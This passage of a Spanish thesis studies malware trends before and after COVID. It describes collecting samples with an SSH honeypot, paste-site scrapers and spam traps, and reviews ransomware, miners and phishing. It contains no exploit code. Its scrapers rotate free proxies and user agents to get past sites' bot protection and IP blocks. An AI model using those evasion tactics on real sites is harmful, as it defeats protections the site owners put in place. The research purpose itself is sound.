En general, el proyecto se presenta de una forma bastante iterativa y ćıclica, pues

todas las tareas poseen como requisito su precedente. Por tanto, se aplicarán modelos

como el desarrollo en espiral. Se plantean las siguientes fases:

1. Obtención de malware: Se obtendrán muestras de malware utilizando métodos

como: implantación de honeypots, scraping de páginas públicas de pastes (pastebin

y similares), correos maliciosos y muestras desde “zoos”.

2. Análisis de criterios: Se obtendrán una serie de criterios que guiarán las fases

posteriores.

3. Análisis demalware: Se realizará un análisis delmalware siguiendo la metodoloǵıa

que se presenta en la sección 4.2.
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4. Conclusiones: Se analizarán los datos obtenidos, comparando ambas etapas (Pre

y Post COVID), y se plasmarán los resultados en la documentación.

5. Refutar o aceptar hipótesis: Según las conclusiones obtenidas se refutarán o

aceptarán las hipótesis planteadas al inicio del TFG (sección 1.3).

Figura 4.1: Representación de un modelo en espiral para el proyecto.

Con este modelo (fig. 4.1), se produce un desarrollo ćıclico e incremental. Como se

puede ver, el desarrollo está basado sobretodo en el análisis del malware y las conclusiones

que podamos sacar del proceso. A pesar de parecer una metodoloǵıa anticuada y estricta,

se tendrán en cuenta algunas buenas prácticas y principios de métodos ágiles:

En primer lugar, se estará abierto al cambio en cualquier momento. Los resultados

obtenidos pueden cambiar parcialmente el desarrollo del TFG.

En segundo lugar, se intentará crear versiones del documento al final de cada fase de

desarrollo. Estas versiones podrán ser consultadas por el cliente (en este caso el tutor) de

manera que se puedan obtener cŕıticas y opiniones para mejorar.



M
et

o
d
o
lo

g
ı́a

M
et

o
d
o
lo

g
ı́a

M
et

o
d
o
lo

g
ı́a

M
et

o
d
o
lo

g
ı́a

Metodoloǵıa 29

4.2. Metodoloǵıa para el análisis de malware

Para el análisis de malware, podemos también seguir una metodoloǵıa concreta. Aun-

que esta metodoloǵıa puede variar según el tipo de malware a analizar, por lo general se

seguirán los siguientes pasos:

Figura 4.2: Metodoloǵıa para el análisis de malware, paso 0.

Figura 4.3: Metodoloǵıa para el análisis de malware, paso 1.
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Figura 4.4: Metodoloǵıa para el análisis de malware, paso 1.1.

Figura 4.5: Metodoloǵıa para el análisis de malware, paso 2.
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Caṕıtulo 5

Obtención de muestras

5.1. Honeypot SSH

Como se explica en secciones anteriores, se hará uso de honeypots para tratar de

obtener muestras de malware activas. Concretamente, se hará uso de un honeypot que

imita un servidor con el servicio SSH descubierto.

El funcionamiento de este honeypot es bastante sencillo. Este hace uso de un logger

para registrar todas las interacciones de los usuarios con la máquina. Posteriormente,

mediante RegEx detecta URLs en los comandos, cuando una URL es detectada, se añade

a una cola de descargas. La cola esta construida sobre Redis [56], una base de datos en

memoria.

De forma paralela, existe un daemon intentando descargar ficheros constantemente. Si

existe alguna URL en la cola, comprueba que no haya sido ya descargada y se descarga.

Finalmente, se añade a la lista de URLs utilizadas.

Toda esta actividad, se registra en los logs en los ficheros “ssh_honeypot.log” y “ssh

_honeypot_downloader.log”.
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Figura 5.1: Obtener resultados del honeypot SSH.

Finalmente, para obtener de forma local los archivos, se utilizará el protocolo SSH.

Concretamente se utilizará el comando SCP [57].

El comando SCP se comporta de forma similar a SSH, basta con especificar el puerto

(con la flag -P), la clave SSH, el dispositivo a conectar (con su usuario e IP) y un archivo

o directorio. En este caso, se desea descargar un directorio, por lo que se especifica la flag

-r (recursivo) y una ruta. Véase la figura 5.1 para un ejemplo de uso de SCP.

5.2. Scraping de páginas de pastes

Uno de los métodos que los usuarios maliciosos utilizan para infectar a nuevas v́ıctimas,

es el uso de páginas de publicación de archivos de texto, por ejemplo: Pastebin.

De hecho, es esta misma página la que ocupa el 5º lugar actualmente en el ranking de

muestras descubiertas por abuse.ch (véase la figura 5.2). El motivo de que se usen estas

páginas es debido a su renombre, usuarios poco informados pueden tener más confianza,

por ejemplo, en un link bajo el dominio de Google que en otro desconocido.
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ió
n
d
e

m
u
es
t
r
a
s

O
bt

en
c
ió
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Figura 5.2: Ranking de hostings más usados por usuarios maliciosos.

En esta sección, trataré de obtener una gran cantidad de “pastes” con la intención de

descubrir algunos que sean maliciosos.

La obtención involucrará métodos muy distintos, pues cada página utiliza metodoloǵıas

distintas para ofrecer sus ı́ndices de archivos.

5.2.1. “proxy_grab.py”

Para obtener los diversos pastes, se programará software multihebra, capaz de hacer

cientos de peticiones al minuto. Sin embargo, esto ocasiona un problema: Muchas de estas

páginas poseen protección contra bots y spam.

Una solución sencilla es utilizar proxies. Los proxies permiten actuar como interme-

diario entre el cliente y el servidor, de esta forma el servidor puede creer que se trata de

un cliente distinto.
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Figura 5.3: Funcionamiento de un proxy - Fuente: Wikimedia por H2g2bob.

Puesto que iba a ser tema recurrente entre muchos de los scripts, se creó un módulo

común para todos los parsers de las páginas de pastes. Mediante el módulo beautifulsoup

se obtienen proxies gratuitos de la página https://www.sslproxies.org/.

Figura 5.4: Página web: sslproxies.org para obtener proxies públicos gratuitos.

El script completo se puede ver en Github con la URL:

https://github.com/memoriasIT/paste-parsers/blob/main/proxy_grab.py

https://www.sslproxies.org/
https://github.com/memoriasIT/paste-parsers/blob/main/proxy_grab.py
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ió
n
d
e

m
u
es
t
r
a
s

Obtención de muestras 35

5.2.2. Eliminación de duplicados

Otro de los problemas encontrados es el de tener múltiples copias del mismo fichero.

Esto se debe a que las campañas de spam o malware a menudo publican numerosas

veces el mismo mensaje (ya sea en la misma página, en distintos momentos o en distintos

dominios).

Para ello, he utilizado un comando de bash que elimina todos los elementos duplicados

según su función hash MD5.

Una función hash son funciones con una sola dirección, es decir, no existe operación

inversa[23]. Además, si hubiera algún cambio, se produce el “efecto avalancha” (si una

entrada cambia ligeramente, la salida cambia significativamente).

A pesar de que existen problemas de colisiones y ataques a la función hash MD5, esta

sigue siendo una solución para problemas como este, donde se busca ser computacional-

mente barato y donde una posible colisión no supone un alto riesgo.

find . -type f \
| xargs md5sum \
| sort -k1,1 \
| uniq -Dw32 \
| while read hash file; do

[ "${prev_hash}" == "${hash}" ] && rm -v "${file}"
prev_hash="${hash}";

done

5.2.3. Scraping manual

En diversas páginas de pastes, como puede ser dumpz.org a pesar de que los pastes

tienen un ID único, están numerados de forma incremental. Es por ello que es posible

acceder a ellos mediante la URL: https://{dominio}/{ID}

Debido a esto, se han realizado dos scripts, uno que obtiene el último ID válido y otro

que parsea y descarga los pastes para posterior análisis.

El script “dumpz_org.py”[58] utiliza el algoritmo de búsqueda binaria para encontrar

el último ID válido. Para ello se comprueba si el t́ıtulo de la página es: “Not found”.

Por otra parte, el script “dumpz_org_download.py”[59] utiliza el módulo selenium para
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visitar las páginas y parsear los datos. El script es multihebra, y aunque solamente posee

dos instancias de selenium a la vez, podŕıa aumentarse si se posee suficiente memoria

RAM. Si se detecta la página “403 Forbidden” de nginx se relanza el driver de selenium

con nuevo proxy y User Agent, pues puede ser que la IP sea bloqueada.

De las páginas se obtienen los siguientes datos: El t́ıtulo, fecha, ID y contenido; todo

esto se guarda en un fichero con el siguiente formato:

“{nombrePagina}_{currentID}_{date}.txt”.

Tras descargar una gran cantidad de pastes, se analizó su contenido, y se encontra-

ron 17.285 archivos con el mismo contenido, las copias fueron eliminadas con el método

mencionado en la sección 5.2.2.

Figura 5.5: Antes y después de borrar los archivos duplicados.

Además, debido a similitudes en el formato de los pastes, se detectaron una gran

cantidad de archivos del mismo actor, que fueron clasificados con RegEx.
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Tras mover esos archivos a otra carpeta quedaron 120.492 archivos, es decir, 173.808

archivos proveńıan de este supuesto autor.

Además, se clasificaron los archivos por lenguaje de programación. Para ello se utilizó

el paquete GuessLang [60]. Este paquete puede diferenciar mediante inteligencia artificial

más de 50 lenguajes con más del 90% de exactitud.

Los scripts para las diversas páginas pueden encontrarse en la siguiente URL:

https://github.com/memoriasIT/paste-parsers

5.2.4. Pastebin

Pastebin, se presentaba como la página más sencilla, pues provee de una API para

hacer scraping. Es decir, justo lo que queremos.

No obstante, parece ser que en los últimos tiempos, se han hecho varias modificaciones

en el algoritmo para mostrar los últimos posts. Parece ser que los posts que se muestran se

someten a análisis mucho más restrictivos. Y aunque se pueda seguir infectando usuarios

mediante enlaces directos a los pastes, estos no se mostrarán (por lo general) en la lista

de últimas publicaciones. Es por eso, que finalmente pastebin no ha sido utilizado.

5.2.5. Conclusión y Resultados

Mediante los pastes, se ha conseguido una gran cantidad de muestras de campañas de

spam y phishing. Se presume que gran cantidad de las URLs presentes en este tipo de

campañas se califican como maliciosas o sospechosas, pero no se ha realizado un estudio

estad́ıstico que lo demuestre.

5.3. Análisis de e-mails

Los e-mails son en muchas de las organizaciones el principal mecanismo de comuni-

cación, además, muchos individuos inexpertos poseen una falsa sensación de seguridad al

tratarse de un canal de comunicación interna.

https://github.com/memoriasIT/paste-parsers
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Esto hace del correo electrónico un vector de ataque muy atractivo para los actores

maliciosos, que buscarán impersonar actores con credibilidad para sus propios beneficios.

5.3.1. SpamTrap

Los “SpamTraps” son un concepto parecido al honeypot aplicado al correo electrónico.

La idea principal es montar una dirección de correo en principio común y corriente que

se utilizará para obtener campañas de spam y malware.

Comúnmente, el uso principal de esta técnica está más relacionada con el marketing.

Las direcciones de correo se añaden a listas de correos para spam, de esta forma, cuando

una campaña llega a la bandeja de entrada se sabe que la campaña es maliciosa (no existe

consentimiento). Esta técnica es usada también por las grandes compañ́ıas de correo para

mejorar su detección de spam.

En este caso, el objetivo es totalmente el contrario, se desea obtener la mayor cantidad

de campañas y se espera obtener algunas maliciosas.

Para realizar esta especie de honeypot, se han utilizado distintos métodos:

Publicación en pastes

Se ha publicado en páginas de pastes públicos el siguiente código:

RobThePlayer@mail.com
<a href="mailto:RobThePlayer@mail.com">RobThePlayer@mail.com</a>

Se ha supuesto que muchos de los bots que buscan e-mails en la red buscarán links

“mailto” además de direcciones con @ aśı que se incluyó código HTML con esta etiqueta.

Algunas de las páginas en las que se han publicado son: “dumpz.org”[61], “paste.org.ru”[62],

“vpaste.net”[63], “bitbin.it”[64], “paste.rohitab.com”[65], “kpaste.net”[66], “pastebin.osuosl.org”[67],

“txtpaste.com”[68], “sharetext.me”[69] y “pastebin.com”[19].
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Figura 5.6: Publicación en la página: “Bitbin.it”.

Figura 5.7: Publicación en la página: “dumpz.org”.

Contacto con data brokers

Otro de los métodos también empleados es el de contactar a empresas que se dedican

al tráfico de datos con la intención de “darse de baja” de sus correos. Realmente lo que

buscan es que los correos sean añadidos a sus listas de correo y vendidos posteriormente

a sus clientes.
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Figura 5.8: Contacto con data brokers.

Encuestas y páginas para ganar dinero en ĺınea

Otro tipo de empresas que se dedican al tráfico de datos es el de las encuestas y páginas

de ganar dinero en ĺınea, la intención es la misma que con el método anterior.

Figura 5.9: Registro en páginas de encuestas.
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5.3.2. Conclusión y Resultados

En general, el método de spam trap se podŕıa calificar como parcialmente satisfactorio.

Pese a que se ha obtenido una gran cantidad de spam (incluso en ocasiones relacionados

con el COVID tal y como se puede observar en la figura 5.11) no se han obtenido muestras

de malware.

Esto puede ser, en parte, porque las campañas no han logrado pasar los filtros de

antivirus, firewall, etc. impuestos por los proveedores de email utilizados.

La mayoŕıa del spam recibido trataba de impersonar a grandes compañ́ıas con sorteos

o similar.

Figura 5.10: Spam obtenido en la cuenta de Gmail.

Figura 5.11: Phishing con motivo de COVID.
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En muchas ocasiones los correos utilizados han sido dados de baja por uso indebido,

por ejemplo, en “yandex.com” o “mail.com”. En otras ocasiones se ha debido verificar el

correo con datos como el teléfono (en “outlook.com”).

5.4. Muestras de Zoos u otros investigadores

A pesar de la naturaleza de este tipo de software, la comunidad es muy abierta. El

compartir muestras es de hecho una actividad muy común. Aunque existen multitud de

archivos de muestras, una página muy extendida es VX-Underground [1].

VX-Underground es posiblemente la colección más grande de malware que existe,

y además, posee una gran conexión con la comunidad. Su colección no solo se ciñe a

muestras, sino que también poseen papers, zines (abreviación de magazine, “revista” en

inglés) e información sobre APTs.

Figura 5.12: Página principal de VX-Underground [1].

No obstante, también se utilizarán otras páginas que muestran información interesante.

Por ejemplo, VirusTotal [70] o AlienVault [46], que a menudo proveen información gráfica

muy interesante.
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Caṕıtulo 6

Análisis de criterios

Como ayuda para obtener conclusiones, se tomarán en cuenta diversos criterios. Es-

tos criterios se han obtenido de la mera intuición, de ciertos elementos que podŕıan ser

diferenciadores y permitir marcar una diferencia.

6.1. Fase 1: La infección

En esta fase es cŕıtico el poder alcanzar a la v́ıctima con la mayor confianza posible.

Podŕıan existir cambios en:

Persona a la que va dirigida: Una persona del departamento de marketing puede

no tener la misma perspicacia que una persona del departamento de seguridad.

Mucha más suplantación de identidad: Podŕıa esperarse un aumento en la

suplantación de identidad. Especialmente, al trasladar los canales de comunicación

a medios en ĺınea puede ser también más fácil.

Cambio en el dropper utilizado: Los sistemas de seguridad, al trabajar en re-

moto, pueden estar menos conseguidos, por tanto, algo más rudimentario puede

servir.
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Más phishing menos malware : Es muy probable que gran cantidad de los obje-

tivos no sean a los que se desea infectar finalmente, sino que se pueden tomar como

pivote para un elemento mayor.

Spam más oportunista y ocasional, con campañas más centradas en ob-

jetivos espećıficos: Las campañas más espećıficas permiten realizar campañas de

phishing con mayor credibilidad.

Dentro de la misma fase de infección, se podŕıan encontrar cambios en el payload.

Algunas suposiciones podŕıan ser: que los CVEs no son tan empresariales, con vulnerabi-

lidades más comunes y que las vulnerabilidades ocurran en recursos creados (o usados en

más medida) a partir del COVID.

6.2. Fase 2: Malware

Se considera el inicio de esta fase desde que el usuario ejecuta el dropper o malware.

Algunos de los criterios a tener en cuenta podŕıan ser:

No tanta evasión de máquinas virtuales y técnicas de anti-debugger : Si

los ataques fueran más rudimentarios, no seŕıa necesario de técnicas más avanzadas.

Lo mismo ocurre con firewalls o elementos de detección de malware utilizados en

entornos empresariales.

Movimiento lateral buscando targets mayores (por ejemplo suplantar la

identidad posteriormente)

Cambio en los puertos utilizados

Es “malware as a service” : El malware as a service podŕıa permitir atacar a

muchos más objetivos con menos requisitos técnicos por parte del atacante.

Menos ofuscación: Debido a que son más rudimentarios.



A
n
á
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Más troyanos bancarios para el usuario de a pie: Estos buscan un interés

totalmente monetario y permiten atacar a cualquier objetivo.

6.3. Miscelánea

Existen otros criterios no necesariamente relacionados con las fases del malware. Se

presentan a continuación:

Cantidad de ransomware pagado

Cantidad de cambio a trabajo remoto

Cantidad de dinero invertido a mejorar la seguridad y parchear vulnera-

bilidades

Hardware espećıfico para el trabajo: Es decir, existe un equipo espećıfico para

el trabajo, separado totalmente de las actividades diarias del trabajador.

Se realizan jornadas de entrenamiento de seguridad: Un usuario medio que

sea instruido en nociones básicas de seguridad es más capaz de reconocer ataques

de phishing o malware.

Cantidad de IoT en casa: Este tipo de dispositivos son conocidos por su poca

seguridad. Durante el COVID, muchas soluciones basadas en el IoT fueron puestas

en producción. Es posible que este tipo de aparatos actúen como punto de entrada

para el malware durante el trabajo remoto.
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Caṕıtulo 7

Estado del arte

Antes de comenzar a analizar las muestras, puede ser de gran ayuda analizar la situa-

ción y el entorno en el que se desarrollan. En ciertas situaciones, el contexto puede ser

incluso de más utilidad que los diversos aspectos técnicos que, por śı solos, podŕıan ser

insuficientes para responder a las hipótesis propuestas.

Se analizarán las tendencias y familias en auge durante los distintos periodos, de forma

que se pueda realizar una comparativa entre ambos periodos.

7.1. Situación del Malware Pre-COVID

En primer lugar, se analizará el malware pre-COVID, servirá de base sobre la que se

analizará si ha existido un cambio debido a la pandemia. Como situación pre-Covid se

analizarán los tres años anteriores a la pandemia (2017, 2018 y 2019).

Se plantea a continuación un gráfico creado por ENISA (European Union Agency For

Network and Information Security) donde se plasma el porcentaje del malware en la

segunda mitad de 2017 y la primera mitad de 2018.
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Figura 7.1: Clasificación por tipos de malware en la segunda mitad de 2017 y primera
mitad de 2018 según ENISA.

En el propio gráfico se puede observar claramente la gran importancia del malware

relacionado con las criptomonedas. Este tipo de campañas menos arriesgadas han provo-

cado que el volumen de ransomware o troyanos bancarios transicionen a ese nuevo modelo

de negocio.

Durante 2017 el ransomware fue el tipo de malware más importante, pero se puede

ver claramente la transición a otro modelo de negocio como es el de los criptominers y

RATs.

7.1.1. El auge de las criptomonedas

Ya desde 2017, la criptomineŕıa se detecta como una de las actividades maliciosas más

comunes. Si se analiza desde el punto de vista del atacante, permite tener unos ingresos

pasivos de forma anónima y crear redes de v́ıctimas de forma muy sencilla.
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Figura 7.2: Cantidad de mineros en 2017 y 2018.

Concretamente, Malwarebytes reporta que bloqueaba 8 millones de intentos de mineŕıa

por d́ıa.

Durante la primera mitad de 2018, se estima que los mineros han obtenido 2.5b$ de

beneficio. Y grandes botnets como la botnet “Smominru” obtuvo más de 500k infecciones

proveyéndoles beneficios de entre 2.8M$ y 3.6M$.

Además, se debe tener en cuenta que el valor de las criptomonedas es variable y la

posible ganancia futura para el atacante puede significar no solo un beneficio actual, sino

un beneficio futuro con su posible revalorización.

De hecho, este podŕıa ser uno de los grandes incentivos para los malhechores. Si anali-

zamos el valor del Bitcoin (criptomoneda usualmente referenciada como moneda canónica

del mercado de criptomonedas) contra las detecciones de mineros silenciosos detectadas

por Malwarebytes, podemos ver que existe una gran correlación.
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Figura 7.3: Correlación del BTC contra el uso de mineros[2].

Sumado al gran interés por el valor, se añade la facilidad de infección. A partir de

2017, se pudo observar una diversificación de los ataques, afectando a más plataformas

como Android, Mac, o incluso el navegador. Especial interés tiene el último vector de ata-

que, pues permite aprovecharse de cualquier dispositivo sin necesidad de instalar ningún

software.

Durante la primera mitad de 2018, la mayor cantidad de detecciones malware son

las siguientes: Coinhive (30 % ), Cryptoloot (23 % ), JseCoin (17 % ), XMRig (7 % ),

Authedmine (6 % ).

Y precisamente, todos las familias mencionadas excepto XMRig utilizan el uso del

minado en el navegador. Centrándonos concretamente en el top 1, se puede analizar el

caso de “Coinhive”[71]. Coinhive es una herramienta para minar criptomonedas que en

principio se presenta como benévola. Nótese, como dicha actividad no es ilegal siempre

que sea con consentimiento. De hecho, muchas de estas herramientas de minado en el

navegador, se presentaron como una posible fuente de ingresos alternativa a los anuncios,

en principio menos intrusivas pero lucrativas y es por eso que muchos dueños de páginas

web utilizaron este software sin conocer el impacto que podŕıan tener en sus visitantes.

Desgraciadamente, otras muchas páginas, fueron hackeadas y se introdujo este tipo

de mineros sin el conocimiento del dueño[72]. Destacan por ejemplo exploits utilizados en
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Drupal [73] (uno de los CMS, Content Management System, más famosos del mundo) para

desplegar mineros (ej. CVE-2018-7602 [74] más conocido como Drupalgeddon3 ).

Si observamos el interés en el tiempo sobre esta herramienta (fig. 7.4) podemos ver

como a finales de 2017 tuvo un gran interés, pero se fue perdiendo paulatinamente. El

motivo principal se puede atribuir al bloqueo de páginas con este tipo de mineros por parte

de los antivirus. De hecho, si analizamos las búsquedas en las que aparece “Coinhive” (fig.

7.5) se observa que palabras como virus o malware son bastante predominantes, lo cual

puede ser producto de usuarios que reciben el mensaje de alerta por virus.

Figura 7.4: Interés en el tiempo sobre “Coinhive” - Google Trends.

Figura 7.5: Búsquedas relacionadas con “Coinhive” - Google Trends.

Finalmente, se muestra una gráfica aportada en el reporte anual de Fortinet[75] con
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las distintas familias de mineros que se detectaron durante estos dos años.

Figura 7.6: Familias de mineros descubiertas en 2017 y 2018.

En la sección 9, se hace un análisis más en profundidad de los diversos mineros, aśı

como sus diferencias y una comparación más a fondo entre la situación pre y post COVID.

7.1.2. Info Stealers

Además de los mineros silenciosos, otra de las categoŕıas muy predominantes han sido

los info stealers, sobre todo las variantes Emotet y TrickBot, que desarrollaron nuevas

caracteŕısticas de producción de spam, movimiento lateral, o métodos de robo de carteras

de criptomonedas.

El principal objetivo de este tipo de malware fueron las empresas, llegando a ser la

mayor amenaza para las empresas en 2018 para la mayoŕıa de regiones del mundo. Su

intención fue tratar de obtener información clasificada para vender en el mercado negro.

Aunque Emotet y Trickbot hayan sido las familias precursoras, muchas otras le siguieron

aprovechándose de la situación, atacando a millones de v́ıctimas inseguras.

El actor principal, Emotet, utilizó routers como su principal vector de propagación,

haciendo de ellos nodos proxy para su infraestructura de Command and Control (C2C).

Su beneficio provino sobretodo de troyanos bancarios.
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Por otro lado, Trickbot utilizó una estrategia de propagación similar, pero se con-

centró en distribuir ransomware haciendo que todas las máquinas de la red quedaran

encriptadas. Posteriormente se incluyeron funcionalidades de mineros para aumentar sus

beneficios. Destacar que esta variante tuvo gran importancia en 2019, incluso superando

al crecimiento de la variante Emotet.

Como tercera mención, se podŕıa analizar la familia Zeus Panda, que mostró métodos

interesantes para la infección de equipos, basándose sobretodo en exploits y documentos

con macros maliciosas.

7.1.3. Ransomware

La escena del malware afectó en mayor o menor medida según el sector, por ejemplo,

en el sector de la salud el 85% del malware se clasifica como ransomware. En 2017 estuvo

marcado fuertemente por ataques como WannaCry o NotPetya, que se hicieron llegar a

bocas de todos afectando a más de 150 páıses, con perdidas económicas millonarias.

De hecho, en este mismo año, Malwarebytes reporta un aumento en 10 veces el uso de

ransomware con respecto al año anterior[76].

No obstante, en 2018, las detecciones de ransomware disminuyeron levemente, sobre-

todo por la mitigación de la familia WannaCry.

Gran importancia tienen también familias comoGandCrab que proporcionaron Ransomware-

as-a-Service (Raas). Este malware fue introducido a principios de 2018 y llegó a infectar

a más de 50k sistemas en menos de un mes. Desde entonces, ha llegado a ser el segundo

ransomware con más detecciones. Su vector de ataque principal es el uso de macros en

ficheros que son distribuidos por correo.

7.2. Situación del Malware Post-COVID

En esta sección, se hará un análisis del malware post-covid, es decir, desde final de

2019 y en adelante. Cabe notar que se tendrá en cuenta sobretodo desde 2020, pues la
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pandemia tuvo lugar en diciembre de 2019, lo que significa que no tuvo gran impacto

durante ese año.

El impacto de la pandemia sobre el malware es una realidad, fuentes como ESET [77]

o Malwarebytes [78] han dedicado desde entonces una sección especial al fenómeno. En

estas secciones, se muestran grandes cantidades de campañas de phishing y fraude.

Los ataques además, no solo han crecido en términos de números, sino que también

en su impacto. Como ejemplo claro, puede verse el ataque del ransomware WastedLocker

a Garmin, que dejó sin GPS y sin servicio a todos sus clientes[79].

Tal y como se plantea en este TFG, el principal factor que ha provocado grandes

riesgos es el cambio del trabajo a un modelo h́ıbrido o completamente en ĺınea.

Sobretodo, cabe destacar también, el cambio en las detecciones. Malwarebytes reporta

para los ordenadores Windows de empresa un 24% menos detecciones en malware con-

vencional, pero un incremento del 147% en HackTools y 24% en Spyware. Por ejemplo,

se puede ver en la figura 7.7 cómo las detecciones de familias como Trickbot o Emotet

han disminuido considerablemente. Por otro lado, puede observarse claramente como el

software KMS, utilizado para crackear la suite de Microsoft Office ha aumentado un

2250%.

Figura 7.7: Top 10 amenazas de malware en la industria comparando 2020 con 2019.
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Figura 7.8: Top 10 amenazas para la industria en 2019 y 2020.

Los malhechores se han aprovechado de la nueva situación donde la superficie de ataque

es mayor y presuntamente no tan preparada[79].

A pesar de que ya exist́ıa una tendencia en el malware de atacar a organizaciones

y compañ́ıas, grandes empresas afirman que han sufrido un mayor target, y sobretodo,

tratando de atacar al trabajador remoto con intención de escalar a mayores objetivos[79].

Al igual que las grandes firmas, los reportes de ENISA[33] también han incluido una

sección sobre el COVID. En su reporte publicado en 2021[80], se realizó una encuesta a

grandes compañ́ıas. En esta encuesta se declara que el 54% de organizaciones necesita-

ron trabajo remoto, de las cuales el 70% declararon que esta modalidad de trabajo les

supondŕıa un incremento en el tiempo de identificación y contención de una brecha y el

76% declararon que supondŕıa un incremento en su coste.

A continuación se exponen las categoŕıas de malware más presentes desde el inicio de

la pandemia.

7.2.1. Ransomware

En primer lugar se presenta el Ransomware, lo cual no es una sorpresa. La tendencia

tal y como se ha analizado estaba ya presente en la situación pre-COVID. Según ENISA,

el ransomware se describe como “la principal amenaza de 2020-2021”. El Ransomware
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sigue siendo el método estrella utilizado para la obtención y monetización de las activi-

dades cibernéticas iĺıcitas. Como vectores para la infección de Ransomware, se utilizaron

sobretodo emails con phishing y fuerza bruta en servicios de escritorio remoto (RDP).

Estos servicios son altamente usados durante el trabajo remoto, por lo que puede ser un

indicador más para analizar como el malware se ha adaptado a la pandemia.

Algunos reportes, afirman también que, en muchas ocasiones, las infecciones se reali-

zaban manualmente, tras haber usado servicios como RDP para la entrada al sistema.

El malware ha sido dirigido también en gran medida al sector de la salud, con grandes

familias como Maze, Conti o Ryuk, atacando a hospitales.

También es interesante comentar el incremento del modelo de negocio Ransomware as

a Service (RaaS), lo que dificultó gravemente la atribución de ataques a ciertos actores o

grupos.

Durante 2020, dos tercios de las campañas de ransomware fueron atribuidas a ope-

radores usando RaaS [33]. El éxito de este tipo de campañas puede atribuirse en gran

medida a la poca experiencia necesaria para el uso de estas herramientas.[33]

Aunque el método de extorsión principal siga siendo el mismo (el cifrado de los datos),

muchos de los actores también han optado por lo que es conocido como una “doble extor-

sión”. A parte de encriptar los sistemas y pedir un rescate, algunos de los datos sensibles

de la empresa son exfiltrados de forma que se amenaza con hacerlos públicos. El hacerlos

públicos no solo supone mayor presión para la v́ıctima, sino que da credibilidad al autor

del malware. Esto es posible verlo en familias como Maze.

A partir de ah́ı, los datos en muchas ocasiones han sido vendidos en la Dark Web o

utilizados en los medios de comunicación para dar visibilidad al ataque. De hecho, en

2020, los atacantes ganaron más dinero demandando un rescate por la publicación de los

datos que con las v́ıctimas que queŕıan desencriptar los archivos. Por ejemplo la familia

REvil o Sodinokibi, que dice haber obtenido 100 millones de dólares en ese mismo año

solamente de la doble extorsión. A menudo, los ataques también iban acompañados de

ataques DDoS o extorsión a particulares.
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7.2.2. Otros tipos de malware

En segundo lugar se encuentra el malware como troyanos o gusanos.

En 2019, existió un gran aumento en familias como Emotet (6%) o Trickbot (52%). Sin

embargo, esta categoŕıa se muestra en decadencia desde inicios de 2020. Esta decadencia,

parece ser intencional, pues se piensa que la intención de los actores es la de reducir su

“basura”, es decir, al realizar campañas de malware más extensas, existen muchas v́ıctimas

dónde el ataque no tiene éxito; pero, sobretodo, existen v́ıctimas que son profesionales de

seguridad que tienen honeypots para capturar mail malicioso. Esto es lo que se denomina

como “basura”.

Al ser capturado por estos honeypots, los investigadores pueden crear rápidamente

formas de detectar el malware haciéndolos menos efectivos contra las nuevas v́ıctimas.

Por tanto, parece ser que los ataques ahora son más dirigidos y poseen una mayor tasa

de éxito.

Además, se detecta una gran cantidad de malware en lenguajes de programación nue-

vos o no tan comunes. Esto puede ser para intentar burlar los análisis estáticos.

También se ha evidenciado gran popularidad en malware para contenedores o malware

file-less, lo que permite una menor huella en el sistema y por tanto más dificultades para

detectar el malware.

7.2.3. CriptoJacking

Posteriormente, se encuentra el criptojacking. De nuevo esta categoŕıa no es una sor-

presa, el mercado de las criptomonedas sigue en aumento (consiguiendo precios históricos)

y al presentar un modelo de negocio más seguro, ha hecho que esta categoŕıa se posicione

en tercer lugar según ENISA. De hecho, se estima que en el primer cuarto de 2021 se

obtuvo el mayor record de detecciones desde los últimos años. Cabe destacar también

cómo se ha pasado a una transición de mineros en el navegador a mineros file-less. De

nuevo, esta técnica puede ser para tratar de evitar la detección.
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7.2.4. Spam, Phishing, Extorsión y Stalkerware

La ingenieŕıa social se basa sobretodo en abusar de las personas mas susceptibles.

Momentos de desconcierto y caos son momentos clave en los cuales las personas pueden

encontrarse “con la guardia baja” y caer en ataques de ingenieŕıa social.

Se estima, que en Abril de 2020, un tercio de toda la población mundial se encontraba

en mayor o menor medida de confinamiento y medidas de distanciamiento social[81], es

decir, este era un punto perfecto donde atacar al factor humano.

Esto se refleja en varias tendencias, en primer lugar, en las extorsiones por correo

electrónico. En ellos, el tema del COVID-19 es recurrente, incluso a finales de 2021. La

extorsión se muestra particularmente al comprometer correos de empresa (BEC ) o la

utilización de estos correos para métodos de ataque más sofisticados y dirigidos.

Por otro lado, el phishing. Algunas temáticas de ejemplo pueden ser: falsas campañas

de vacunación, obtención de datos para el seguimiento de la pandemia, suplantación de

identidad de grandes corporaciones médicas, etc. Posteriormente, cuando el trabajo remo-

to se popularizó, comenzaron a detectarse correos con temática de herramientas utilizadas

como Zoom, Microsoft Teams, entre otras.

Es interesante analizar también, como a menudo se adecuaban también a las diferentes

etapas de la pandemia. Como la figura 7.9 muestra, es cuestión de d́ıas que las diferentes

familias de malware se adaptan a los eventos locales y actúan en concordancia.
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Figura 7.9: Uso de la temática del COVID en el malware - Microsoft [3].

Por otro lado, se puede analizar el Spam. La cantidad de spam es tanta, que Google

anunció estar bloqueando en Abril 18 millones de e-mails de spam relacionados con el

COVID-19 por d́ıa.

En el siguiente gráfico (fig. 7.10), se puede ver claramente como existe un gran pico en

el inicio de la pandemia, donde predominan familias como Emotet o Trickbot (analizadas

en el caṕıtulo 8).

Figura 7.10: Detecciones maliciosas en el correo desde 2018 hasta 2020.
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Al igual que con el Ransomware, el modelo de negocio bajo demanda o “as a service” ha

tomado gran importancia, en este caso se ha denominado Phishing-as-a-Service (PhaaS).

Como mención especial, se plantean algunos tipos de malware y técnicas, que a pesar

de tener nichos más concretos, aumentaron considerablemente. Claro ejemplo es el del

stalkwerware, es decir, aplicaciones usadas para monitorizar y espiar sistemas, a menudo

usadas por parejas abusivas.

A partir de abril de 2020, cuando se decretó el estado de alarma mundial debido a

la pandemia, en Android, las detecciones de aplicaciones de monitorización y spyware

aumentaron un 565%.[78]

7.2.5. La rápida digitalización y la falta de madurez en el software

Durante la época de pandemia, la digitalización se aceleró, siendo esta la principal

arma contra el COVID-19. No obstante, donde muchos ven progreso, otros ven posibles

vulnerabilidades o uso de tecnoloǵıa no lista para salir al mercado real. Se pueden analizar

dos claros ejemplos de ello:

''La vulnerabilidad de los sistemas blockchain al ataque del 51% constituye otro gran
desafı́o, como lo demuestra el reciente hackeo del sitio web del boletı́n oficial
basado en blockchain del gobierno argentino, donde se difundieron declaraciones
falsas sobre el coronavirus.''

- Servicio de Investigación del Parlamento Europeo [82]

Un ataque del 51% ocurre cuando un usuario malicioso obtiene mayor poder de minado

